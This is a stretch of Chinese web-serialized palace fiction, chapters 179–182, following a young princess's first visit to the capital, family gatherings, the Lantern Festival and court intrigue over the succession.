还是颜漪沉稳些,安慰这位焦急的老父亲,“阿瞳只是第一次出门不适应,大夫也看过了用了药,睡一觉便会好。”看着阿瞳难受的样子,她心里也不好受,但看着百里漾焦虑得快要上火了,她还得安抚这个大的。 道理百里漾都懂,但他看着难受得失去了活力的女儿就是止不住的忧心。 吃药也是一个问题。就没有孩子会喜欢吃药的,尤其是当下的大夫开出来的绝大多数是苦得不行的汤药。随行的大夫也考虑到这次的患者是一名一岁多点的小王女,特意制了药丸使得服用起来会方便简单些,但那也改变不了药丸对于一个孩童来说也是难以下咽的事实。 阿瞳一闻到那药丸的味道就伸手要把它扒拉开,皱着一张小脸不愿意配合,最后还是颜漪闻声软语哄着她才吃下去的。 药丸的药效颇为出人意料,第二日阿瞳就恢复了活力,又能活蹦乱跳了,又变成了看见什么新奇事物就要拉着阿爹或者阿娘叽喳说个不停的欢实模样,语言能力大大提升,到了湛京时,她已经能够用清晰简短的语句表达自己的意思和需求了。 入京的次日,一家三口就被帝后召入宫了。 帝后迫不及待想要见一见阿瞳这个未曾谋面的孙女。到了椒房殿,不只帝后在,太子一家和栎阳长公主百里澄也在,这分明是一场大型的家庭见面会。 阿瞳由着百里漾与颜漪领着睁着好奇的大眼睛进入了椒房殿,见到了阿爹的爹娘、兄长长姐他们。几乎是阿瞳迈进椒房殿的一瞬间,她就感觉到了数道目光投注到了自己身上,一抬头就看到了好多陌生的大人。 要说不害怕是不可能的,阿瞳下意识地抓紧了父母的手试图汲取一点力量,又隐约想起来在来之前爹娘同她说过这些都是什么人,让她不用害怕。 于是,阿瞳就知道了,这些都是好人,不用怕的。 想通了的阿瞳就真的一点也不怕了,她很快就被阿爹阿娘引着来到帝后面前。对着两个第一次见面的慈爱长辈脆生生地叫了声“祖父、祖母”,小声音稚嫩,却很有一种初生牛犊的勇敢大方劲,直接就戳到了帝后的心巴上了,顿时稀罕得不行,皇后手一揽就揽到怀里了。 这还不算完,阿瞳窝在皇后的怀里,亮晶晶的大眼睛看着太子等人,察觉到他们的注视似是害羞,将脑袋埋入皇后怀里,又因为好奇把脑袋转出来,问道:“他们是谁呀,是阿瞳的伯伯和姑母么?” 帝后惊喜她竟然知道太子与长女,百里漾笑着解释道:“来之前同她说过了,不过她自己大抵是认不出来的。” 饶是如此,阿瞳表现得已经比大多数孩童都聪慧机敏了。 帝后引着阿瞳认了人,阿瞳因此收获了一堆的见面礼。她很有礼貌,对着太子他们笑得眉眼弯弯,还用亲亲表达感谢与亲近。她尤为喜欢女性长辈,对着太子妃与百里澄主动要求抱抱,还给了她们每人两个亲亲。 轮到百里澄抱着阿瞳的时候,她面上一直挂着笑,还对阿瞳说道:“等阿瞳再长大点,姑母就带着阿瞳去骑马射猎如何?” “要骑大马。”阿瞳听懂了骑马。她是见过马这种生物的,阿爹有时候就是骑地就是那种会打响鼻的大家伙,看起来很厉害。她很兴奋,又追问道:“再长大点是多大呢?” 童言童语惹得众人纷纷失笑。 “比现在还要再长高一半。”百里澄给了一个答复,看着正在思考“再长高一半”是多少的阿瞳,她笑意更深了,扭头看向百里漾说道,“阿瞳喜欢我呢,让她去我那住几日吧。” 还没等百里漾说什么,皇后就不高兴地否了,“去去去,我都没有看够阿瞳,你就想着先拐到你的长公主宅去了?” 提议被自己亲娘否了,百里澄不以为意,顺着皇后的意让她抱回了阿瞳。皇后招来大孙女阿荧,让这两个小姐妹相互认识。 阿荧已经六岁了,已经是个长到母亲腰间的小姑娘了,小脸上还有婴儿肥,在祖母的介绍之下正与阿瞳大眼瞪小眼。一个是大孩子,一个是小孩子,两人都没有第一时间有动作,都在观察着对方,带着好奇的打量。 阿荧很早就知道自己有一个小妹妹,听爹爹和娘亲说是五叔和五叔母的孩子,等到妹妹长大点的时候就会来湛京见面了。她曾经问过母亲太子妃梁氏,妹妹是什么样的。太子妃也不好回答这个问题,毕竟她自己也没有见过阿瞳,但还是按着一般孩童该有的共性给女儿说了一些。阿荧听得似懂非懂,但还是点头表示自己明白了。 至于明没明白,那肯定是不明白的。 这些年阿荧与八皇子百里流一直都是皇宫里最小的孩子,阿荧就没怎么见过比她还要小的孩子,更别提阿瞳这种一两岁将将会走路不久的孩童了。 临近诸侯王进京的日子,太子与太子妃又跟女儿提了一嘴,让阿荧又记起了自己有个小妹妹要进京来与她见面的事情。前两日她与八皇子一起玩的时候,与自己从小到大的玩伴说了这件事情,八皇子也很感兴趣,他歪着脑袋想了想,一边掰着手指头一边说道:“五王兄的孩子,是阿荧的妹妹,算起来就是我的小侄女了。” 阿荧闻言蹙着眉头跟个小大人似的,然后点了点头,“是这样没错的。” 八皇子很高兴,“那我们可以跟她一起玩么?” 阿荧点头又摇头,“好像不行,我阿娘说妹妹还小,要再长两三年才能跟我们一起玩。” “啊,这样么。”八皇子很失望,他也想有新的玩伴。他这个年纪已经正式启蒙上学了,身边也有伴读,但他不喜欢母妃给他选的那些伴读,除了读书就是读书,他想玩耍的时候他们都不会陪他,还会板着一张脸劝谏他不要玩物丧志,实在是没劲极了。 “你要有耐心,小孩子长得很快的,用不了多久就能与我们一道玩了。”阿荧说了不知道从哪里听来的话,现套说给八皇子听。 八皇子觉得阿荧说得有道理,小脑袋一点一点的。 两个孩子之间的地位一目了然。明明阿荧比八皇子还要小一些,甚至辈分上两人还是叔侄,但看起来却是阿荧更加成熟,像个孩子王,八皇子这个小叔叔也更愿意听她的话。 扯的有些远了,阿荧其实也不太记得这事了,毕竟她如今也要上学,平日里实在是“忙碌”,不可能一直惦记着妹妹的事情。 今日他们一家要到椒房殿去,太子与太子妃又与她说了这件事情,她这才又记起来了- 作者有话说:更新啦。 第180章 看透 阿荧仔细打量过眼前这个小妹妹, 眼睛里逐渐绽放出炫亮的光芒来。 妹妹长得太好看了,她从来没有见过这么漂亮可爱的妹妹(即便她实际上也没有见过几个比她还小的孩子),看着就香香软软的, 抱起来一定很舒服。她喜欢这个妹妹。 阿荧是个主动的孩子,她如今的性子已经不似更年幼时容易害羞了,甚至身上已经隐隐透着一股百里氏女儿飒爽果毅的风姿了,她主动向前一步,微微矮下/身子跟阿瞳介绍自己, “你好, 阿瞳。我是阿荧姐姐, 很高兴见到你。” 说着为表示自己的友好以及欢喜,她伸出手抱了抱阿瞳, 还在阿瞳肉乎乎的细嫩脸蛋上“吧唧”亲了一口,她还煞有介事对阿瞳说道:“我们都是女孩子, 我是姐姐,你是妹妹, 亲亲是可以的。”她已经很自觉地代入姐姐这个身份了, 并且适应良好。 一抱一亲之后, 阿荧更喜欢这个还没有她胸口高的软团子似的妹妹,她郑重地向帝后提出请求,“我今晚可以带妹妹回去一起睡么?我屋子里有很多有趣的玩具,妹妹一定会喜欢的,我可以把我最喜欢的布偶给她玩。” 她刚说完,周围人都忍不住笑了。 太子摸着女儿的脑袋,略显苍白的脸上露出宠溺的笑容,乐道:“看来阿荧是真的很喜欢妹妹了,连最喜欢的玩偶都愿意分享出来给妹妹玩。” 阿荧不太明白为什么大人们都在笑, 她明明是很认真的,但她也能感觉出来他们的笑都是善意的,于是歪了歪脑袋,选择请求妹妹的父母也是她的五叔、五叔母,并保证道:“我能带阿瞳一起回东宫么?你们放心,我不会欺负妹妹的,一定会好好待她的。” 众人再度笑起来。 百里漾更是哭笑不得,想不到阿瞳竟如此招惹喜欢,这才见面呢,前有长姐想要“拐”走她,后面又有侄女阿荧要带着阿瞳一起回东宫。 “不不不。”还没等百里漾这个亲爹婉拒阿荧的请求,阿瞳小朋友自己就为自己发声了,她扭着脑袋找了一圈,定位颜漪所在的位置,然后毫不犹豫“噔噔噔”地奔向阿娘,张开双手紧紧抱住娘亲的腿,表达自己的意愿,“不要、不要去,要阿娘。” 被喜欢的妹妹亲口拒绝了的阿荧竟然也不失望,她看了看抱着五叔母的阿瞳,以一副了然理解的姿态点头道:“小孩子是离不开娘亲的。你不愿意就算了。等你再长大一点,我们再一起玩吧。” 六岁的孩童却是以一副大人的口吻说话,叫人看着实在是可乐。 阿瞳竟好似听懂了,对着阿荧甜甜地叫了“姐姐”,哒哒哒跑过来给阿荧小姐姐一个香香软软的亲吻,小嘴里还嘟囔着,“下次,下次一起。” 一大一小两个孩子的互动着实是看了周围一众长辈们。 百里漾看得有点酸唧唧的,他跟王妃偷偷倒酸水,内心酸得快要冒泡了,“阿瞳都没有这样亲过我,她连亲了阿姐他们两回了。” 这私底下的蛐蛐也就颜漪听见了,她眼看着越变越幼稚的百里三岁,无奈唤道:“大王。”多大个人了,竟然还跟长姐、阿荧她们拈酸吃醋起来了,幼不幼稚。 百里漾在王妃的目光之下只好老实了,酸水也不好再冒了。 今年的新年于大多数人来说与往年并没有多大的区别,该如何过就如何过。但因为新添了阿瞳这个百里氏的新成员,作为父母的百里漾与颜漪要带着女儿去见见两边的亲朋好友,让阿瞳认一认人。血缘身后关系亲近的长辈一家三口要登门拜访,如越国大长公主、定国公这些人,其余的加起来是一个颇为庞大的数字,不好一一上门,也不好让人一一登门。最好的解决办法便是在江都王宅中大宴宾客,将阿瞳正式介绍给大家认识。 添丁进口是喜事,赴宴宾客皆是高高兴兴带着贺礼来的。百里漾的其他兄弟姐妹如定安王等也在受邀请之列,也如时赴宴了。 定安王携王妃前来赴宴,他来时笑容满面,送上贵重的贺礼,也夸了阿瞳灵秀聪慧、将来必定不凡云云,更在宴席上多饮了酒,最后是由着随从扶上了车驾。 进入车驾之后,定安王哪还有人前的醉态,满面阴鸷,冷哼一声,满是不屑与讥讽,“不过是一个丫头片子罢了,也值得如此张扬。日后怕不是如同太子一般生不出儿子,那时看他们还能笑得出来。” 定安王妃在旁边坐着,闻言只是默然。 夫妻多年,她还能不了解丈夫的一些所思所想。他向来怨愤皇帝偏心椒房所处的太子等人,如今眼见着五王生出一个女儿都得到帝后如此宝贝看重,心里如何舒坦得起来。但再不舒坦又能如何,谁叫他没有托生在椒房肚中,不是皇帝偏爱的儿子。 椒房与皇帝是少年夫妻,又是一路患难与共过来的。旁的后边才来的妃嫔如何能够比得过这份情谊。太子更是正儿八经的嫡长子,为储君多年,德行能力均无可指摘之处,唯一不足的一点便是身体孱弱。 可这在丈夫眼里就成了他的机会,觉得有了可趁之机,一直在暗中为自己蓄势,拉拢朝中重臣为自己张目。这无可厚非,毕竟很多人也是这么想的,她娘家褚氏也是这么想的,她曾经也想过,甚至幻想过母仪天下的那一日。 可时至今日,她才知道何谓痴心妄想。 即便是太子不成了,椒房所出的还有江都王,那位亦是贤明仁德,朝中提起也是交口称赞的,如何就能轮到丈夫去坐那个位子。他一直自恃太子之下他为最长,可事实上在他之前曾经还有一位二皇子不是么,那位如今又在何处。 定安王妃如今是看明白了,或者不如说是认命了。丈夫乃至她娘家褚氏所追求的根本不可能实现,即便是侥幸实现了,恐怕于她于褚氏都不能算是一件好事了。这些年她看透了丈夫的凉薄绝情,自己又能从他那里指望到什么。 她如今只求日子能够平稳过下去,若叫丈夫不能再去追逐那个不属于他的位子就好了。否则到了事败的那一日,她与孩子都要受到牵连。 定安王妃的真实想法却是不能在定安王面前表露出一丝半点,否则于她于孩子而言现下就会有一场灾难来临。 定安王咒骂了一通,见身边唯一的活人王妃就如同木头桩子一般一点反应也无,顿觉没劲,心里对这个发妻更加厌烦了。 定安王妃看到了丈夫脸上流露出来的对她的不耐,但她已经不在乎了。 兴业十八年正月,正值新春佳节。 湛京之内迎新过年的节日氛围依旧如同前几年般的浓厚。皇帝延续了前几年的做法,依旧是大赦天下,给孤老颁赐衣食等物,夜开宵禁,上元节更是亲自领着皇亲宗室以及要臣勋贵们登城楼观灯,与民同乐。 湛京上下对此乐见其成,天子恤民,与民同乐,没有比这更美好的了。百姓们更是高兴,他们沉浸在节日的氛围里,欢欣鼓舞,与亲人好友共度佳节。 虽湛京的百姓们与天子同住湛京,同处于一片天空之下,看似离天下至尊至贵之人不远,实则不知道隔了多少层。这时候的人们对于天子是很向往的,可是又能有多少人能够见过天子。上元节皇帝会亲自登楼观灯的消息一放出来,惹得群情热烈。 这可能是许许多多普通人这一辈子唯一可能见到天子的机会,故而观灯之时,城门楼下人潮涌动,争相一睹皇帝真容。可这次令他们有些失望了,因为皇帝虽然确实出现在城门楼观灯了,但他出现的时间可谓是昙花一现,在赏看过鳌山之后便起驾回宫了。百姓们更多的只是看到一个身影一闪而逝,其余的什么也没有看到。 底下的百姓们看不到,可在城门楼上伴驾随同帝后观灯之人可看得清楚。陛下这分明是强撑着身体前来,在观看鳌山之后便起驾回宫了,临走之前让他们尽兴观灯。可出了这档子事,有多少人心思还在那些绚丽的彩灯上。 陛下的身体……不少人心里都有些沉下去了。 “阿爹,阿爹,抱、抱阿瞳。”在百里漾脚边伸开双手要抱的阿瞳在连续喊了几声“阿爹”都没有回应后,急了,更加努力地像个小胖鹅扑棱着自己扒拉亲爹。 百里漾终于回神,他忙将女儿抱起来,道歉道:“不好意思啊,阿爹方才没有听见。” “灯,漂亮的灯。”年幼的阿瞳并不能理解方才发生的一幕代表了什么,她被眼前绚丽多姿的彩灯完全吸引了,嘴巴微张,一张小脸上满是被震撼的痴迷样,看得人怪忍俊不禁的。 身边的王妃朝他投来担忧的目光,百里漾轻轻摇头,示意她自己无事。眼下正是观灯之时,阿瞳兴致又高,他又何必扫兴。他将心绪从帝后起驾回宫之事上抽离出来,专心致志地陪着妻女观灯了。 城门楼上观灯之后,百里漾想着阿瞳第一次来湛京,上元节真正热闹有趣的是民间,不带她去看看有些可惜。于是,从城门楼下来之后,一家三口回江都王宅换了一身平常的衣服,带着护卫上街看热闹去了。 湛京的繁华热闹是当之无愧的天下头一份,从步入那片最繁华的区域开始,好似进入了一片热闹得海洋。所到之处仅是人声鼎沸,顶上各色的彩灯将这片区域照得宛若白昼,行人如织,一路过去都有数不尽的热闹与新鲜事物可看,直把人眼都看花了。 因为带着阿瞳,夫妻俩就没想着低调行事,而是带足了随从,明面上十几人,暗地里还有人随从护驾。其余人一看便是这是惹不起的贵人出行,遇见了都自觉避让,但看着那颜值出众的一家三口,路过时还是忍不住多看了几眼。 阿瞳一路都被阿爹阿娘抱着,视线一下子就与一般人的视角齐平了,一路过去都是她没有见过的新奇的东西,小家伙稀奇得不得了,睁大了眼睛看个不停。她还很喜欢往那种热闹的人堆里去,听到前方有喝彩叫好声,一手指着前面,抖动着腿,催促她爹娘,“去去,那里,阿瞳要去那里。” 看她小脸上满是激动与兴奋,百里漾与颜漪也不扫兴,依着她的心愿过去了。过去了才知道那是一个杂耍班子在杂耍卖艺,周围围了一大圈的人,男女老少皆有,他们皆被精彩刺激的杂耍技艺吸引了心神,时不时还有人高声叫好。 阿瞳就是这些声音吸引过来的。小家伙哪里见过这种架势,即便看不懂也被周围的气氛渲染得惊叹连连,小嘴里不时随着人群的喝彩声发出“哦、哦”的声音,也学着人家击掌喝彩的动作拍自己的小胖手。 一场表演完毕,杂耍班主上前向周围观看的人群讨赏,今日是上元佳节,大家都是出来游玩的,又身处天子脚下,看了如此精彩的表演也愿意给个赏钱,多多少少都会给一点。 班主游走一圈,渐渐到了百里漾三人身前。看这一家三口的排场便知道身份非富即贵,踌躇着来到了面前讨赏。 “阿爹,给,给。”阿瞳不太明白周围人往眼前这个圆盘子里扔东西的动作代表着什么,但不妨碍她知道了他们都很高兴,眼见着圆盘子到自己跟前了,赶紧叫亲爹。 百里漾笑,身边的随从见状立即拿出了一把铜钱递给他,他便放到了盘子里。这一串铜钱少说也有武十来枚,算得上是出手大方的了,当即收获了杂耍班主一连串的祝贺之语,他也看得出来真正给他捧场的是眼前的小女童,自然也不会少了对阿瞳的祝贺夸赞。 阿瞳听得懂一些,害羞地将脑袋扭到阿爹的怀里去了,惹得百里漾与颜漪纷纷失笑。 等回江都王宅时,阿瞳已经窝在百里漾的怀抱里睡着了。她手里还提着一只老虎形状的花灯,睡着了还紧抓着不放手。这是路过一家买花灯的摊子时,小家伙一眼就被憨态可掬的小老虎花灯迷住走不动道了,拉着阿爹阿娘的手要买。此外还有一些零零碎碎的小玩意,都是当时阿瞳喜欢买下的。 今夜的阿瞳可以说是满载而归了- 作者有话说:更新啦,求评论。[可怜]【`xs.c`o`m 网】 180-189 第181章 议论 上元节过后, 湛京城里因着过节而洋溢起的热闹喜庆的氛围褪去,下面的百姓们继续着日复一日平淡中偶有小波折的劳作生活,茶余饭后与人谈天说地, 从七大姑八大姨三伯四舅那里获知一些没有明确透露出姓名的事主们或真或假但足够劲爆有料的八卦秘闻,听得那叫一个聚精会神、双目炯炯。 不过,身处在天子脚下的湛京城里,在这掉一块瓦都能砸中一个六品官的地方,更多的人更喜欢听的是那些高门权贵们的八卦, 那可比发生在他们身边的要来得有意思又刺激多了。 眼下又正值各地诸侯王以及州郡长官来京之期, 湛京城里的人多了, 热闹事也随之多了。上元节城门楼观灯是一大盛事,皇帝领着天家宗室、要臣勋贵集体出动, 又将这一盛事推到了高峰,使得过去凑热闹想要一睹天家风采的人们几乎将附近的街道围了一个水泄不通。 围观的百姓们隔得远, 又有着一个低仰高的问题,远远的只能够瞧见一个影, 可这并不影响有些喜欢哗众取宠之人没看清硬是说看清了, 回头与人吹嘘自己看见的皇帝一家是如何如何, 靠着一张利索的嘴皮子还真能把不明真相的听众唬得一愣一愣的。 “当今陛下七子三女,皇子成年者五,封王者四,日后新帝不知道会出在谁家?” 八卦说着说着,突然有人将话题一拐直接拐到了皇位迭代的问题上。但这个问题吧,说实话有些敏感,即便是当朝不禁言论,但有些话题私底下说说得了,不好拿到明面上当着这么多人的面说的。毕竟万一一不小心说过火, 被有心拿你把柄的仇人知道了拿去煽风点火、大做文章一番,一顿板子总是少不了的。 所以,此言一出,周围一瞬间都安静了,好些张着嘴不知道怎么反应了。最后还是一老丈开口,“天家看似离我们近,实则远着呢,说这些事情做什么。” “说近不近,说远也不远,这事看着确实与我们没有关系,但真的一点关系都没有么?”最先开口说话之人反问道。 众人又是一阵沉默。 皇帝受命于天,是为天子;统御万民,是为君父。连三岁孩童都会懂得的一个道理,当爹不是一个好爹的时候,底下做子女的日子那还能过得好啊。湛京时天子脚下,百姓的生活与政治素质是远超其他地方的,他们离皇帝、离那些权贵们近了,怎么会不知道一个皇帝靠不靠谱对于生活在湛京城里的他们来说影响有多大。 但谁来做皇帝这种事情是他们能够决定的么?简直是笑话。 不过,到底还是被那句话给戳中了,有人说了一句,“眼下是太子监国,那是正儿八经的储君,日后成为新君不是理所当然之事么。” 皇帝即位了多少年,太子也当了多少年,湛京的人们不仅习惯了头顶上的皇帝,也习惯了太子的存在,再加上太子这么些年一直都做得很好,更是屡次监国,也没有闹出什么乱子来影响到下面的人,以至于百姓们对太子的认可度还是很高的。 在湛京城里活得久些的老人们对此更是看得透彻,日后太子能够顺顺当当继位是最好的,但凡生出那么一丁点的波折,这都不知道多少人要因为这点波折而掉了脑袋,牵连身边人。 有人起了这么一个头,不少人也纷纷附和,他们到没有觉得太子挺好的,再说了太子本就是储君,日后继位自然也是名正言顺的事情。 最先挑起这个话题的人见此眸光一闪,也随着众人的话说起太子的好来,说着说着忽然叹气,话一转,说道:“太子好是好,可他的身体总归是个问题。”继续叹气,显出忧愁来。 这,的确也是一个大问题。寻常人家都不会让一个病弱的儿子挑起家中的大梁,何况是一个偌大王朝的继承人。 …… 这日,长姐栎阳长公主叫人来请百里漾过府吃锅子。 百里漾一听就知道阿姐是有事情要同他说,可偏偏时候有那么一点不巧,顿觉为难。栎阳长公主宅之人还立在一旁等候他给回复,自己号回去复命。 颜漪看出百里漾的犹豫,替他回了说稍后便前往,又令人相送,再对百里漾说道:“阿姐相邀,大王自去便好。我带着阿瞳去见阿爹阿娘即可。” 今日他们本计划着要去定国公府的。 定国公夫妇尤为喜爱阿瞳这个外孙女,每次见了怎么抱都不够,曹氏夫人更是殷殷嘱咐女儿得空了就将阿瞳抱回来看看她这个外祖母,毕竟眼下不趁着一家三口还在湛京时多看看外孙女,等下次回来再见说不得又是一年以后了。 外祖外祖母想见外孙女,百里漾与颜漪都不会拂了长辈的心愿,加上阿瞳自个也是很乐意去定国公府的。定国公府里也有好些个与阿瞳年纪相仿的孩童,阿瞳在那里能有玩伴,每次听要去定国公府都很兴奋,催促着阿爹阿娘快点出发。 今日已经准备成行了,不想临去之前突然有了这么一遭事。 百里漾朝妻子歉意道:“今日不能陪你与阿瞳回去了,岳父岳母那里帮我告罪一声。”转头还要叮嘱女儿,摸摸她的小脑袋,告诉她去了外祖家要乖,要听娘亲的话。 每次都是这样,百里漾一跟母女俩分开总是要叮嘱阿瞳要听阿娘的话。换作是别的孩子估计就不耐烦或是把脸扭过一边去不搭理了,但阿瞳不一样,她就是绝对实心不漏风的小棉袄,面对阿爹的啰嗦嘱咐,她微微扬起小脑袋,一双大眼睛充满了认真,举着胖嘟嘟的小拳头,珍重跟老父亲表态,“嗯,阿瞳会乖的。” 这萌样让百里漾这个老父亲更加稀罕,都不舍得走了,还是颜漪催促他说去晚了就只能喝汤了,让他别让长姐久等。 这自然是玩笑话,百里漾听后也不再耽误,出了门骑上马往栎阳长公主宅去了。 栎阳长公主宅门外已有人候着他了,见百里漾来连忙上前行礼随后将他领到了一处暖阁之中。百里漾步入室内,将身上的大氅递给侍女,给长姐见礼,随后笑道:“看来我来的正是时候啊。” 刚进门他便闻到了锅子散发出来的香味了,勾得人肚子里的馋虫都要跑出来了,他就知道这一顿定然是很美味的。 “你再晚来些时候,他能把锅子都给吃了。”坐在主位上的百里澄指着旁边吃得满头是汗的崔栋,明丽的面上带着一点笑,说道。 崔栋也是刚刚动筷,他下值就跑过来了,正饿得不行,涮过红锅的肉菜吃得他是又辣又爽,一边“哈哧哈哧”,一边招呼百里漾,“五郎来了,快来快来,这新切的鹿肉可有味道了,保管你吃得舌头都要掉下来。” 百里漾顺势在崔栋身边的位子坐下,看了看满桌子等着下锅的菜品,又看了看旁边空出的两个位子上摆放的餐具,心里有数了,今日吃这顿锅子的人一共有五个。很快他就知道另外两个位子属于谁了,因为带着围裙的闻夏与宜城公主相继出现了,一个手里端着两盘菜品,一个手里提着两壶酒往这边来。 看见闻夏并不令百里漾吃惊,但宜城公主的现身让他微微诧异,随即起身向二人行礼,又道:“看来我还真是来得最晚的那一个,也算是捡便宜了,什么都不用做就有的吃了。” 室内除了他们再无旁人,再看看闻夏与宜城公主的打扮不难看出他们方才是在忙活的,毕竟吃锅子就是要自己动手才有意思么。 “那五郎你可真是想多了。”宜城公主慢悠悠说道,“结束后洗盘子的任务就交给你了。” 崔栋大笑,“你想得美,吃完你洗盘子。” “洗就洗。”百里漾也回道。 一来一回的,说得几人都乐了。 五人凑在一起吃锅子,一开始只是闲聊。 崔栋忍不住说起自己那个“混世魔王”儿子阿圆,满脸郁卒,“你们说那个臭小子到底像谁?说他是皮猴都是夸他了,一天天的净调皮捣蛋去了。” 他与卢氏之子阿圆,现下有两岁多了,自打会爬开始就不是一个安分的主,一个错眼他就能给你爬到你找不到或是即使找到了就够不着的地方,比如只能容小儿进去的犄角旮旯。你叫他出来他不仅不出,还拍着手乐得看你着急却没有办法的样子,可不得把人气死。 更让崔栋郁卒的是,每每闯了祸,阿圆这小子跟个机灵鬼似的在挨打之前一溜烟地跑到他祖母李氏那里求庇护,说阿爹要打他,最后十次有七八次挨训的都是自己。昨日也是,明明是这小子乱玩摔了妻子的脂粉,一张脸给涂成了花猫,为啥最后挨训的是自己啊。 他复又感慨,还带着点羡慕,“都说女儿是阿爹的小棉袄,看到阿瞳我算是明白了。” 香软乖巧可爱的阿瞳让人恨不得一直捧在手心里,而再看看自家调皮捣蛋、惹是生非的混世魔王,不被气死都算是好的了。 “像谁?”百里澄“啧”了一声,“你生的儿子,不像你还像谁。不过,如今阿圆的顽皮劲可是比你厉害多了,也算是青出于蓝胜于蓝了。” “阿姐怎么能这么说,我小时候可比那皮猴乖巧多了。”崔栋不服气。 “真是稀奇,‘乖巧’二字竟然还能跟你搭上边了。”如果说百里澄还算是平淡地讲述,宜城公主则是讥讽了,“那时候最欠抽的就是你,恨不得让人抽你个百八十鞭的。” 崔栋小时候是有过一段人憎鬼厌的犯贱期的,他那时候五六岁,看到有什么感兴趣的东西都要贱兮兮地上去撩拨一下。宜城公主与他的年纪相当,那时候又是一起上学读书的,可谓是是深受其害。 崔栋理亏气弱,声音也小了,“那不都是年幼不懂事么,后来我不是再也不敢了么。” 见他示弱,宜城公主冷哼了两声,也没有再继续这个话题。 崔栋埋头吃了两口,想了想觉得自己还是要弥补一下自己幼年手贱造成的过错,主动提议道:“贺文渐那厮还在烦你么,要不要我找人套麻袋揍他一顿?” 去年二月的时候,皇帝召宜城公主进宫最后一次询问她是否要与驸马和离,确定她的心意不改之后,正式下旨让二人和离。这件事情也闹出了一点风波,不少人觉得驸马并没有犯下什么大错,怎么就到了被和离的地步。只是皇帝圣旨已下,以无可转圜了- 作者有话说:更新啦。前两天不太舒服,抱歉了各位。[可怜] 第182章 宜城公主的转变 这满朝上下连三公都不敢说出让皇帝把圣旨收回去的话, 其他人是嫌弃自己九族里的人太多了么。但这并不妨碍有人觉得皇帝这事做得草率乱来,跑到皇帝面前去争辩,结果就是被打了一顿板子踢出湛京贬谪外放了。 眼看着已经有只“鸡”被杀了, 剩下来的“猴”更不敢去触皇帝的霉头了,转头找起了宜城公主的茬,认为她作为帝女过于娇纵、肆意妄为,更有一段时间传出她跋扈善妒的坏名声来。 想也知道,必定是那些拥护三从四德、要求女子遵循女德女诫的迂腐之人搞出来的, 他们觉得宜城公主即便是帝女也应该按此规矩行事, 嘴上倒是说得好听, 说什么“帝女应为天下女子垂范,不该带头行此恶事”。 宜城公主给恶心坏了, 本来因为贺文渐的事情就心烦,竟然还有人揪着她的私事说三道四, 还把错归咎到了她的身上来。 好好好,真当她是好欺负的了。 宜城公主也不是好惹的, 叫人去查了是谁最先说这话、又是谁在煽动的, 一一查出来之后, 她拿着鞭子骑着马过去就将人一一抽了个爽。 当然,抽完人之后免不了又被御史弹劾了。 宜城公主不痛不痒,她就不信阿爹还能为了这点小事罚她,大不了被叫进宫去训一顿。 皇帝自然不会管这些事情,御史们见在皇帝处得不到回应,转头去找了太子。如今太子正在监国,又是长兄,他若要管教一下宜城公主这个妹妹也不是不行的。但太子不管,甚至都不搭理他们, 直接见都不见就令人将他们打发走了。 御史们自找没趣,只能悻悻退了。不然还能怎么样,再继续坚持下去却没人搭理也只会让人觉得他们上蹿下跳的像个丑角。 对于宜城公主来说,这还不算是什么麻烦,真正烦人的是贺文渐这个前驸马。隔三差五就来堵她,痛哭流涕说自己如何如何错了,请求他原谅。离谱的是还有人来给他求情,说既然人已经知道错了,就给他一次机会吧。 宜城公主恶心坏了,当场就呛回去,“你既然觉得他好,那你就把他领回去好了。”直接端茶送客,想想还是气不过,吩咐门房,不准这人再来登她的门。 她还没有忘记罪魁祸首,转头就叫人将贺文渐打了一顿,又去找长姐吐槽,冷笑连连,“他哪里是知道自己错了,是发现自己既成不了庆阳侯世子又没了驸马的尊荣一文不值之后才后悔了,想着跑到我面前演一出痛改前非的痴情戏码以为我能够回心转意。怎么,我是什么很贱的人么,什么破烂都往家里捡?他贺文渐喜欢的究竟是我还是舍不得帝婿身份带来的荣华富贵,让他给本公主有多远死多远。” 百里漾安抚,声音很淡,“不喜欢,将人打发走就是了。” 至于怎么打发走的,自然是来一次打一次,打到不敢来为止。 偏偏贺文渐也是人如其名,跟个打不死的小强似的,每次被打之后养好了伤又来。宜城公主又不能真的将人打死,否则又是一个大麻烦。 简而言之,呕都呕死了。 崔栋如今在湛京里当差,干的又是宿卫皇城的差事,怎么会不知道宜城公主被贺文渐这只绿头苍蝇给缠上的事情。 宜城公主闻言,掀开眼皮子看了他一眼,“怎么,你去套?” 崔栋挑眉,叫道:“怎么可能,我能是那种会做这等乱纪下作之事的人么?”随后又抖着眉毛,一脸坏笑,“我找顾晟开去弄他。” “顾晟开?”百里漾惊了,“他能答应么?” 崔栋冷哼一声,信心十足,笑得意味深长,“他会答应的,如果他还想跟我混一个圈的话。” 所谓的“混一个圈”,指的是顾晟开进入了崔栋所在的圈子,最近一段时间两人交际颇为密切,在外人看来逐渐有往“哥俩好”的趋势发展。 这虽然令人微微惊诧了些,但也不是不能理解。从前固然二人都处在湛京的圈子里,但大圈里面有小圈,崔栋是大将军之子,妥妥的将门之子,顾晟开虽然是定国公的外甥,走的也是武官的路子,可别忘了他身上更显著的一层标签是顾氏之子,身上武人的气息没有那么纯粹,身份与崔栋这样正儿八经的皇亲国戚是差了一截,两人自然是混不到一起的。 可那是以前,因着江都王娶了定国公之女为妃,崔栋与顾晟开之间通过这层姻亲关系自然而然地也有了交际,谁叫他们一个是江都王的表哥,一个是江都王妃的表哥呢,都是表哥,见面了也能有话说,久而久之也能玩到一起了。 在外人看来,崔栋与顾晟开称兄道弟实在不是一件稀奇事。可对于知道顾晟开底细的百里漾等人来说,这也算是一种特别的“双向奔赴”了。 顾晟开自向定国公悔过求得原谅之后行事皆踏实沉稳了不少,这两三年间已娶妻生子,专注于仕途,俨然一副成熟长进的派势。定国公府既然已经原谅了这个外甥,自然也将顾晟开犯错的那一页翻过去,不会继续揪着旧事不放,待顾晟开这个外甥一切如旧。 正如外人看到的那样,回京之后的崔栋走的也是武官的路子,一个是江都王的表兄,一个是江都王妃的表兄,七拐八拐的不就让两人有了一层姻亲关系,平日里公务上再有个接触,亲戚走动间又遇上个两三回的,喝上几场酒,一来二去自然也就熟了。 这个“熟”是崔栋郁顾晟开彼此都有意促成的结果。当然,在顾晟开看来,这只是他有意设计为之。 顾晟开想要结交崔栋这个大将军之子、皇后外甥从而使自己能够进入到椒房一脉的核心来,但这也只是表层目的,他背后是有人的,定安王将他作为内应安插在椒房这边,同时借用两边的势力助推顾晟开往上走,占据高位,在关键时候反戈一击,给予椒房一脉重创,助定安王成事。 